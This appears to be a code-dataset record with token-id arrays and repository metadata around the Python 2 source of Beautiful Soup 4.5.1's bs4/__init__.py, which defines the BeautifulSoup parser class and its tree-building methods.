32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
3,
1898,
8,
35,
9,
6927,
420,
6423,
90,
274,
80,
762,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
29896,
14,
199,
3,
199,
3,
29896,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
29896,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
1666,
314,
199,
3,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
3180,
543,
29896,
14,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
646,
7975,
199,
504,
29896,
14,
10732,
14,
526,
4941,
492,
8133,
199,
504,
29896,
14,
2537,
14,
396,
492,
25674,
774,
421,
199,
533,
1316,
1168,
269,
1017,
573,
774,
8,
8447,
774,
304,
272,
30223,
275,
283,
476,
1168,
269,
1017,
573,
7,
339,
347,
511,
63,
476,
1168,
269,
1017,
573,
8,
277,
304,
267,
1827,
275,
8133,
342,
267,
1827,
14,
6789,
63,
827,
275,
3388,
267,
1827,
14,
6336,
63,
988,
275,
27151,
267,
1827,
14,
18207,
275,
942,
267,
367,
14492,
315,
291,
14,
4620,
14,
1733,
63,
3690,
360,
462,
374,
735,
288,
14492,
14,
4620,
275,
291,
14,
4620,
14,
354,
288,
1827,
14,
18207,
14,
740,
8,
3690,
9,
398,
2058,
275,
769,
8,
17691,
14,
374,
3037,
8,
277,
14,
4620,
14,
1733,
63,
526,
527,
780,
8,
1131,
395,
378,
12,
3388,
430,
267,
291,
14,
1815,
8,
552,
8,
2604,
9,
690,
378,
9,
398,
291,
14,
4620,
14,
1289,
25678,
8,
2604,
59,
16,
467,
283,
9339,
358,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
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
0,
0
] |
CIYswengineer/cookityourself
|
python/bs4/__init__.py
|
23
|
20421
|
"""Beautiful Soup
Elixir and Tonic
"The Screen-Scraper's Friend"
http://www.crummy.com/software/BeautifulSoup/
Beautiful Soup uses a pluggable XML or HTML parser to parse a
(possibly invalid) document into a tree representation. Beautiful Soup
provides methods and Pythonic idioms that make it easy to navigate,
search, and modify the parse tree.
Beautiful Soup works with Python 2.7 and up. It works better if lxml
and/or html5lib is installed.
For more than you ever wanted to know about Beautiful Soup, see the
documentation:
http://www.crummy.com/software/BeautifulSoup/bs4/doc/
"""
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
__author__ = "Leonard Richardson (leonardr@segfault.org)"
__version__ = "4.5.1"
__copyright__ = "Copyright (c) 2004-2016 Leonard Richardson"
__license__ = "MIT"
__all__ = ['BeautifulSoup']
import os
import re
import traceback
import warnings
from .builder import builder_registry, ParserRejectedMarkup
from .dammit import UnicodeDammit
from .element import (
CData,
Comment,
DEFAULT_OUTPUT_ENCODING,
Declaration,
Doctype,
NavigableString,
PageElement,
ProcessingInstruction,
ResultSet,
SoupStrainer,
Tag,
)
# The very first thing we do is give a useful error if someone is
# running this code under Python 3 without converting it.
'You are trying to run the Python 2 version of Beautiful Soup under Python 3. This will not work.'<>'You need to convert the code, either by installing it (`python setup.py install`) or by running 2to3 (`2to3 -w bs4`).'
class BeautifulSoup(Tag):
"""
This class defines the basic interface called by the tree builders.
These methods will be called by the parser:
reset()
feed(markup)
The tree builder may call these methods from its feed() implementation:
handle_starttag(name, attrs) # See note about return value
handle_endtag(name)
handle_data(data) # Appends to the current data node
endData(containerClass=NavigableString) # Ends the current data node
No matter how complicated the underlying parser is, you should be
able to build a tree using 'start tag' events, 'end tag' events,
'data' events, and "done with data" events.
If you encounter an empty-element tag (aka a self-closing tag,
like HTML's <br> tag), call handle_starttag and then
handle_endtag.
"""
ROOT_TAG_NAME = u'[document]'
# If the end-user gives no indication which tree builder they
# want, look for one with these features.
DEFAULT_BUILDER_FEATURES = ['html', 'fast']
ASCII_SPACES = '\x20\x0a\x09\x0c\x0d'
NO_PARSER_SPECIFIED_WARNING = "No parser was explicitly specified, so I'm using the best available %(markup_type)s parser for this system (\"%(parser)s\"). This usually isn't a problem, but if you run this code on another system, or in a different virtual environment, it may use a different parser and behave differently.\n\nThe code that caused this warning is on line %(line_number)s of the file %(filename)s. To get rid of this warning, change code that looks like this:\n\n BeautifulSoup([your markup])\n\nto this:\n\n BeautifulSoup([your markup], \"%(parser)s\")\n"
def __init__(self, markup="", features=None, builder=None,
parse_only=None, from_encoding=None, exclude_encodings=None,
**kwargs):
"""The Soup object is initialized as the 'root tag', and the
provided markup (which can be a string or a file-like object)
is fed into the underlying parser."""
if 'convertEntities' in kwargs:
warnings.warn(
"BS4 does not respect the convertEntities argument to the "
"BeautifulSoup constructor. Entities are always converted "
"to Unicode characters.")
if 'markupMassage' in kwargs:
del kwargs['markupMassage']
warnings.warn(
"BS4 does not respect the markupMassage argument to the "
"BeautifulSoup constructor. The tree builder is responsible "
"for any necessary markup massage.")
if 'smartQuotesTo' in kwargs:
del kwargs['smartQuotesTo']
warnings.warn(
"BS4 does not respect the smartQuotesTo argument to the "
"BeautifulSoup constructor. Smart quotes are always converted "
"to Unicode characters.")
if 'selfClosingTags' in kwargs:
del kwargs['selfClosingTags']
warnings.warn(
"BS4 does not respect the selfClosingTags argument to the "
"BeautifulSoup constructor. The tree builder is responsible "
"for understanding self-closing tags.")
if 'isHTML' in kwargs:
del kwargs['isHTML']
warnings.warn(
"BS4 does not respect the isHTML argument to the "
"BeautifulSoup constructor. Suggest you use "
"features='lxml' for HTML and features='lxml-xml' for "
"XML.")
def deprecated_argument(old_name, new_name):
if old_name in kwargs:
warnings.warn(
'The "%s" argument to the BeautifulSoup constructor '
'has been renamed to "%s."' % (old_name, new_name))
value = kwargs[old_name]
del kwargs[old_name]
return value
return None
parse_only = parse_only or deprecated_argument(
"parseOnlyThese", "parse_only")
from_encoding = from_encoding or deprecated_argument(
"fromEncoding", "from_encoding")
if from_encoding and isinstance(markup, unicode):
warnings.warn("You provided Unicode markup but also provided a value for from_encoding. Your from_encoding will be ignored.")
from_encoding = None
if len(kwargs) > 0:
arg = kwargs.keys().pop()
raise TypeError(
"__init__() got an unexpected keyword argument '%s'" % arg)
if builder is None:
original_features = features
if isinstance(features, basestring):
features = [features]
if features is None or len(features) == 0:
features = self.DEFAULT_BUILDER_FEATURES
builder_class = builder_registry.lookup(*features)
if builder_class is None:
raise FeatureNotFound(
"Couldn't find a tree builder with the features you "
"requested: %s. Do you need to install a parser library?"
% ",".join(features))
builder = builder_class()
if not (original_features == builder.NAME or
original_features in builder.ALTERNATE_NAMES):
if builder.is_xml:
markup_type = "XML"
else:
markup_type = "HTML"
caller = traceback.extract_stack()[0]
filename = caller[0]
line_number = caller[1]
warnings.warn(self.NO_PARSER_SPECIFIED_WARNING % dict(
filename=filename,
line_number=line_number,
parser=builder.NAME,
markup_type=markup_type))
self.builder = builder
self.is_xml = builder.is_xml
self.known_xml = self.is_xml
self.builder.soup = self
self.parse_only = parse_only
if hasattr(markup, 'read'): # It's a file-type object.
markup = markup.read()
elif len(markup) <= 256 and (
(isinstance(markup, bytes) and not b'<' in markup)
or (isinstance(markup, unicode) and not u'<' in markup)
):
# Print out warnings for a couple beginner problems
# involving passing non-markup to Beautiful Soup.
# Beautiful Soup will still parse the input as markup,
# just in case that's what the user really wants.
if (isinstance(markup, unicode)
and not os.path.supports_unicode_filenames):
possible_filename = markup.encode("utf8")
else:
possible_filename = markup
is_file = False
try:
is_file = os.path.exists(possible_filename)
except Exception, e:
# This is almost certainly a problem involving
# characters not valid in filenames on this
# system. Just let it go.
pass
if is_file:
if isinstance(markup, unicode):
markup = markup.encode("utf8")
warnings.warn(
'"%s" looks like a filename, not markup. You should'
'probably open this file and pass the filehandle into'
'Beautiful Soup.' % markup)
self._check_markup_is_url(markup)
for (self.markup, self.original_encoding, self.declared_html_encoding,
self.contains_replacement_characters) in (
self.builder.prepare_markup(
markup, from_encoding, exclude_encodings=exclude_encodings)):
self.reset()
try:
self._feed()
break
except ParserRejectedMarkup:
pass
# Clear out the markup and remove the builder's circular
# reference to this object.
self.markup = None
self.builder.soup = None
def __copy__(self):
copy = type(self)(
self.encode('utf-8'), builder=self.builder, from_encoding='utf-8'
)
# Although we encoded the tree to UTF-8, that may not have
# been the encoding of the original markup. Set the copy's
# .original_encoding to reflect the original object's
# .original_encoding.
copy.original_encoding = self.original_encoding
return copy
def __getstate__(self):
# Frequently a tree builder can't be pickled.
d = dict(self.__dict__)
if 'builder' in d and not self.builder.picklable:
d['builder'] = None
return d
@staticmethod
def _check_markup_is_url(markup):
"""
Check if markup looks like it's actually a url and raise a warning
if so. Markup can be unicode or str (py2) / bytes (py3).
"""
if isinstance(markup, bytes):
space = b' '
cant_start_with = (b"http:", b"https:")
elif isinstance(markup, unicode):
space = u' '
cant_start_with = (u"http:", u"https:")
else:
return
if any(markup.startswith(prefix) for prefix in cant_start_with):
if not space in markup:
if isinstance(markup, bytes):
decoded_markup = markup.decode('utf-8', 'replace')
else:
decoded_markup = markup
warnings.warn(
'"%s" looks like a URL. Beautiful Soup is not an'
' HTTP client. You should probably use an HTTP client like'
' requests to get the document behind the URL, and feed'
' that document to Beautiful Soup.' % decoded_markup
)
def _feed(self):
# Convert the document to Unicode.
self.builder.reset()
self.builder.feed(self.markup)
# Close out any unfinished strings and close all the open tags.
self.endData()
while self.currentTag.name != self.ROOT_TAG_NAME:
self.popTag()
def reset(self):
Tag.__init__(self, self, self.builder, self.ROOT_TAG_NAME)
self.hidden = 1
self.builder.reset()
self.current_data = []
self.currentTag = None
self.tagStack = []
self.preserve_whitespace_tag_stack = []
self.pushTag(self)
def new_tag(self, name, namespace=None, nsprefix=None, **attrs):
"""Create a new tag associated with this soup."""
return Tag(None, self.builder, name, namespace, nsprefix, attrs)
def new_string(self, s, subclass=NavigableString):
"""Create a new NavigableString associated with this soup."""
return subclass(s)
def insert_before(self, successor):
raise NotImplementedError("BeautifulSoup objects don't support insert_before().")
def insert_after(self, successor):
raise NotImplementedError("BeautifulSoup objects don't support insert_after().")
def popTag(self):
tag = self.tagStack.pop()
if self.preserve_whitespace_tag_stack and tag == self.preserve_whitespace_tag_stack[-1]:
self.preserve_whitespace_tag_stack.pop()
#print "Pop", tag.name
if self.tagStack:
self.currentTag = self.tagStack[-1]
return self.currentTag
def pushTag(self, tag):
#print "Push", tag.name
if self.currentTag:
self.currentTag.contents.append(tag)
self.tagStack.append(tag)
self.currentTag = self.tagStack[-1]
if tag.name in self.builder.preserve_whitespace_tags:
self.preserve_whitespace_tag_stack.append(tag)
def endData(self, containerClass=NavigableString):
if self.current_data:
current_data = u''.join(self.current_data)
# If whitespace is not preserved, and this string contains
# nothing but ASCII spaces, replace it with a single space
# or newline.
if not self.preserve_whitespace_tag_stack:
strippable = True
for i in current_data:
if i not in self.ASCII_SPACES:
strippable = False
break
if strippable:
if '\n' in current_data:
current_data = '\n'
else:
current_data = ' '
# Reset the data collector.
self.current_data = []
# Should we add this string to the tree at all?
if self.parse_only and len(self.tagStack) <= 1 and \
(not self.parse_only.text or \
not self.parse_only.search(current_data)):
return
o = containerClass(current_data)
self.object_was_parsed(o)
def object_was_parsed(self, o, parent=None, most_recent_element=None):
"""Add an object to the parse tree."""
parent = parent or self.currentTag
previous_element = most_recent_element or self._most_recent_element
next_element = previous_sibling = next_sibling = None
if isinstance(o, Tag):
next_element = o.next_element
next_sibling = o.next_sibling
previous_sibling = o.previous_sibling
if not previous_element:
previous_element = o.previous_element
o.setup(parent, previous_element, next_element, previous_sibling, next_sibling)
self._most_recent_element = o
parent.contents.append(o)
if parent.next_sibling:
# This node is being inserted into an element that has
# already been parsed. Deal with any dangling references.
index = len(parent.contents)-1
while index >= 0:
if parent.contents[index] is o:
break
index -= 1
else:
raise ValueError(
"Error building tree: supposedly %r was inserted "
"into %r after the fact, but I don't see it!" % (
o, parent
)
)
if index == 0:
previous_element = parent
previous_sibling = None
else:
previous_element = previous_sibling = parent.contents[index-1]
if index == len(parent.contents)-1:
next_element = parent.next_sibling
next_sibling = None
else:
next_element = next_sibling = parent.contents[index+1]
o.previous_element = previous_element
if previous_element:
previous_element.next_element = o
o.next_element = next_element
if next_element:
next_element.previous_element = o
o.next_sibling = next_sibling
if next_sibling:
next_sibling.previous_sibling = o
o.previous_sibling = previous_sibling
if previous_sibling:
previous_sibling.next_sibling = o
def _popToTag(self, name, nsprefix=None, inclusivePop=True):
"""Pops the tag stack up to and including the most recent
instance of the given tag. If inclusivePop is false, pops the tag
stack up to but *not* including the most recent instqance of
the given tag."""
#print "Popping to %s" % name
if name == self.ROOT_TAG_NAME:
# The BeautifulSoup object itself can never be popped.
return
most_recently_popped = None
stack_size = len(self.tagStack)
for i in range(stack_size - 1, 0, -1):
t = self.tagStack[i]
if (name == t.name and nsprefix == t.prefix):
if inclusivePop:
most_recently_popped = self.popTag()
break
most_recently_popped = self.popTag()
return most_recently_popped
def handle_starttag(self, name, namespace, nsprefix, attrs):
"""Push a start tag on to the stack.
If this method returns None, the tag was rejected by the
SoupStrainer. You should proceed as if the tag had not occurred
in the document. For instance, if this was a self-closing tag,
don't call handle_endtag.
"""
# print "Start tag %s: %s" % (name, attrs)
self.endData()
if (self.parse_only and len(self.tagStack) <= 1
and (self.parse_only.text
or not self.parse_only.search_tag(name, attrs))):
return None
tag = Tag(self, self.builder, name, namespace, nsprefix, attrs,
self.currentTag, self._most_recent_element)
if tag is None:
return tag
if self._most_recent_element:
self._most_recent_element.next_element = tag
self._most_recent_element = tag
self.pushTag(tag)
return tag
def handle_endtag(self, name, nsprefix=None):
#print "End tag: " + name
self.endData()
self._popToTag(name, nsprefix)
def handle_data(self, data):
self.current_data.append(data)
def decode(self, pretty_print=False,
eventual_encoding=DEFAULT_OUTPUT_ENCODING,
formatter="minimal"):
"""Returns a string or Unicode representation of this document.
To get Unicode, pass None for encoding."""
if self.is_xml:
# Print the XML declaration
encoding_part = ''
if eventual_encoding != None:
encoding_part = ' encoding="%s"' % eventual_encoding
prefix = u'<?xml version="1.0"%s?>\n' % encoding_part
else:
prefix = u''
if not pretty_print:
indent_level = None
else:
indent_level = 0
return prefix + super(BeautifulSoup, self).decode(
indent_level, eventual_encoding, formatter)
# Alias to make it easier to type import: 'from bs4 import _soup'
_s = BeautifulSoup
_soup = BeautifulSoup
class BeautifulStoneSoup(BeautifulSoup):
"""Deprecated interface to an XML parser."""
def __init__(self, *args, **kwargs):
kwargs['features'] = 'xml'
warnings.warn(
'The BeautifulStoneSoup class is deprecated. Instead of using '
'it, pass features="xml" into the BeautifulSoup constructor.')
super(BeautifulStoneSoup, self).__init__(*args, **kwargs)
class StopParsing(Exception):
pass
class FeatureNotFound(ValueError):
pass
#By default, act as an HTML pretty-printer.
if __name__ == '__main__':
import sys
soup = BeautifulSoup(sys.stdin)
print soup.prettify()
|
mit
|
[
624,
30117,
28028,
199,
37,
20528,
723,
436,
377,
12732,
199,
2,
1918,
17804,
13,
7181,
345,
529,
1159,
481,
8528,
2,
199,
1014,
921,
1544,
14,
1556,
3323,
14,
957,
15,
15619,
15,
30117,
12341,
15,
199,
199,
30117,
28028,
4440,
282,
14202,
16725,
4692,
503,
4163,
1798,
370,
2198,
282,
199,
8,
19614,
3866,
9,
2213,
1901,
282,
3123,
6025,
14,
14562,
28028,
199,
20121,
3102,
436,
2018,
530,
284,
328,
22491,
626,
1852,
652,
8837,
370,
20850,
12,
199,
1733,
12,
436,
2811,
314,
2198,
3123,
14,
199,
199,
30117,
28028,
5419,
543,
2018,
499,
14,
23,
436,
1536,
14,
2779,
5419,
8034,
340,
14490,
199,
460,
15,
269,
3517,
21,
773,
365,
4903,
14,
199,
199,
1858,
1655,
2419,
1265,
14433,
13632,
370,
5715,
3595,
14562,
28028,
12,
1937,
314,
199,
9970,
26,
199,
1014,
921,
1544,
14,
1556,
3323,
14,
957,
15,
15619,
15,
30117,
12341,
15,
1533,
20,
15,
1301,
15,
199,
199,
624,
199,
199,
3,
3645,
402,
642,
1350,
1233,
365,
10413,
701,
282,
6289,
13,
2487,
4190,
626,
883,
506,
199,
3,
1911,
315,
314,
5113,
570,
14,
199,
199,
363,
2502,
363,
275,
298,
2553,
265,
1005,
30846,
5596,
265,
334,
274,
265,
1005,
82,
32,
8359,
1879,
14,
1308,
2924,
199,
363,
1023,
363,
275,
298,
20,
14,
21,
14,
17,
2,
199,
363,
7307,
363,
275,
298,
7384,
334,
67,
9,
8353,
13,
9261,
7005,
265,
1005,
30846,
5596,
265,
2,
199,
363,
1682,
363,
275,
298,
13965,
2,
199,
199,
363,
452,
363,
275,
788,
30117,
12341,
418,
199,
199,
646,
747,
199,
646,
295,
199,
646,
5190,
199,
646,
3598,
199,
199,
504,
1275,
5649,
492,
6545,
63,
5189,
12,
10191,
497,
8553,
23393,
199,
504,
1275,
68,
28980,
492,
6140,
36,
28980,
199,
504,
1275,
2108,
492,
334,
272,
445,
1451,
12,
272,
6819,
12,
272,
6186,
63,
8414,
63,
16314,
12,
272,
1487,
7456,
12,
272,
4226,
3667,
12,
272,
20721,
16725,
1558,
12,
272,
10331,
2162,
12,
272,
20157,
17700,
12,
272,
30751,
12,
272,
28028,
933,
6322,
281,
12,
272,
8053,
12,
272,
776,
199,
199,
3,
710,
7437,
1642,
8377,
781,
886,
365,
8120,
282,
2997,
1125,
340,
17122,
365,
199,
3,
3879,
642,
1233,
1334,
2018,
650,
1928,
13806,
652,
14,
199,
7,
5556,
787,
9936,
370,
1255,
314,
2018,
499,
1015,
402,
14562,
28028,
1334,
2018,
650,
14,
961,
911,
440,
1736,
3530,
28,
3524,
5556,
1929,
370,
3957,
314,
1233,
12,
1902,
701,
22200,
652,
13493,
1548,
3272,
14,
647,
3907,
10522,
503,
701,
3879,
499,
475,
19,
13493,
18,
475,
19,
446,
87,
9922,
20,
14963,
7,
199,
199,
533,
17132,
8,
1931,
304,
272,
408,
272,
961,
1021,
7890,
314,
5678,
3217,
2797,
701,
314,
3123,
27378,
14,
339,
5723,
3102,
911,
506,
2797,
701,
314,
1798,
26,
489,
5305,
342,
489,
4733,
8,
10131,
9,
339,
710,
3123,
6545,
1443,
1240,
3520,
3102,
687,
2399,
4733,
342,
4514,
26,
489,
2429,
63,
15234,
8,
354,
12,
3290,
9,
327,
1666,
5317,
3595,
372,
574,
489,
2429,
63,
25765,
8,
354,
9,
489,
2429,
63,
576,
8,
576,
9,
327,
4693,
3198,
370,
314,
1453,
666,
1031,
489,
1284,
1451,
8,
3600,
2543,
29,
19617,
16725,
1558,
9,
327,
3447,
795,
314,
1453,
666,
1031,
339,
3091,
17247,
4212,
23515,
314,
8793,
1798,
365,
12,
1265,
1077,
506,
272,
7688,
370,
1900,
282,
3123,
1808,
283,
928,
1947,
7,
4474,
12,
283,
500,
1947,
7,
4474,
12,
272,
283,
576,
7,
4474,
12,
436,
298,
4456,
543,
666,
2,
4474,
14,
339,
982,
1265,
655,
5337,
376,
2701,
13,
2108,
1947,
334,
24685,
282,
291,
13,
11707,
1947,
12,
272,
2839,
4163,
1159,
665,
3289,
30,
1947,
395,
1240,
2429,
63,
15234,
436,
2066,
272,
2429,
63,
25765,
14,
272,
408,
272,
16547,
63,
6967,
63,
2339,
275,
399,
3894,
3554,
6616,
339,
327,
982,
314,
1284,
13,
751,
10557,
949,
2539,
1063,
1314,
3123,
6545,
2985,
272,
327,
2934,
12,
3648,
367,
1373,
543,
3520,
4534,
14,
272,
6186,
63,
8248,
540,
63,
13313,
275,
788,
1360,
297,
283,
7015,
418,
339,
10485,
63,
5763,
21287,
275,
1557,
88,
1165,
60,
88,
16,
65,
60,
88,
1643,
60,
88,
16,
67,
60,
88,
16,
68,
7,
339,
4825,
63,
26078,
63,
22917,
19679,
63,
9171,
275,
298,
1944,
1798,
1990,
7662,
2013,
12,
880,
473,
6704,
1808,
314,
5526,
2808,
2818,
10131,
63,
466,
9,
83,
1798,
367,
642,
2656,
334,
4451,
2840,
2087,
9,
83,
60,
3471,
961,
9987,
5712,
1133,
282,
5160,
12,
1325,
340,
1265,
1255,
642,
1233,
641,
4573,
2656,
12,
503,
315,
282,
3365,
5791,
3734,
12,
652,
1443,
675,
282,
3365,
1798,
436,
24062,
23142,
3134,
78,
60,
13705,
1233,
626,
18104,
642,
5721,
365,
641,
1004,
2818,
604,
63,
1955,
9,
83,
402,
314,
570,
2818,
1501,
9,
83,
14,
4005,
664,
16146,
402,
642,
5721,
12,
1570,
1233,
626,
10734,
2839,
642,
3427,
78,
60,
78,
17132,
779,
12695,
9189,
27147,
78,
60,
29680,
642,
3427,
78,
60,
78,
17132,
779,
12695,
9189,
467,
8441,
2840,
2087,
9,
83,
60,
27681,
78,
2,
339,
347,
636,
826,
721,
277,
12,
9189,
8772,
4534,
29,
403,
12,
6545,
29,
403,
12,
326,
2198,
63,
2118,
29,
403,
12,
687,
63,
2991,
29,
403,
12,
5760,
63,
21138,
29,
403,
12,
326,
1011,
958,
304,
267,
408,
1918,
28028,
909,
365,
10038,
465,
314,
283,
1231,
1947,
297,
436,
314,
267,
2741,
9189,
334,
6777,
883,
506,
282,
1059,
503,
282,
570,
13,
2930,
909,
9,
267,
365,
23036,
1901,
314,
8793,
1798,
1041,
398,
340,
283,
3916,
24672,
7,
315,
2074,
26,
288,
3598,
14,
4050,
8,
355,
298,
11087,
20,
1630,
440,
14021,
314,
3957,
24672,
1423,
370,
314,
298,
355,
298,
30117,
12341,
3787,
14,
3447,
5080,
